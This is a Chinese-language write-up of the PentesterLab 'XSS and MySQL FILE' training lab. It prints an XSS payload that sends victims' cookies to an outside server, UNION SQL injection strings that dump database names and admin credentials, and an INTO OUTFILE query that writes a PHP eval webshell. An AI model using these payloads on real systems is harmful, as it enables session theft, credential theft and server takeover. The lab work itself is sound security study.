Write up of Pentesterlab’s XSS and MySQL FILE
[TOC]
Pre
与之前一样,导入 iso 后查看 ip 即可
Hacking
Injection and XSS
一开始做了很多工作在 fuzz 注入上,发现主页的post.php?id=2
与登录处都不能注入,然后用 xsspt.com 的 xss 平台竟然收不到 cookie … 坑的一批
XSS
由于 xss 平台不知道怎么收不到 cookie ,只能用自己的服务器了,用了文档的 payload
<script>document.write('<img src="http://106.14.153.173:2015/?' + document.cookie+' "/>');</script>
这里强烈建议使用 FireFox + Cookie Manager 来完成,因为感觉这个 session 控制写的不是很好,不带 cookie 访问的话,它会强制重置你的 cookie ,然后就会变成每次都需要 burp 抓包来修改 cookie ,十分麻烦
SQL Injection
进入到管理员界面后,发现在edit.php
处存在注入点
http://172.16.71.149/admin/edit.php?id=1'
mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/classes/post.php on line 111 Notice: Undefined variable: post in /var/www/classes/post.php on line 115
Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19
继续 fuzz ,在1 union select 1,2,3,4%23
的时候回显正常,猜测有4列
通过id=1 union select 1,2,@@version,4 limit 1,1%23
,得到了在文本编辑框中的版本号,也通过user()
发现是root@localhost
的权限,想要拿到 shell ,自然先想怎么去写入 webshell
GetShell
查一下secure_file_priv
1 union SELECT 1,@@secure_file_priv,2,3 limit 1,1%23
发现为空,那就说明可以为所欲为了
通过
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/zedd.php'%23
这里按照之前 Pentestlab 的尿性写的/var/www
这个目录,但是一直写不进去,应该是没权限,然后想应该在一些静态文件夹那里应该会有写入的权限,于是写到了 images 文件夹下面。
1 union SELECT '<?php eval($_POST[zedd]);?>',2,3,4 INTO OUTFILE '/var/www/images/zedd.php'%23
连上去就得到 webshell 了
Something else
其它一些 sql 操作
1 union SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata limit 1,1%23
-- information_schema,blog,mysql
1 union SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='blog' limit 1,1%23
-- comments,posts,users
1 union SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' limit 1,1%23
-- id,login,password
1 union SELECT 1,group_concat(login),group_concat(password),4 from users limit 1,1%23
-- admin/8efe310f9ab3efeae8d410a8e0166eb2
反查 md5 得到 admin 的密码是 P4ssw0rd
查看源代码文件可以看到除了find()
功能,其他功能都加上了mysql_real_escape_string
过滤…
Conclusion
虽然比较简单,但是整体做下来体验不是很好,尤其是 cookie 那里,很恶心…但是也是学会一点技巧吧…还有就是文件路径那里,取巧了一下,因为之前系列 web 目录都是在/var/www
目录下,而不是/var/www/html
下。XSS 最好还是先用自己的服务器收 cookie …平台并不是完全可靠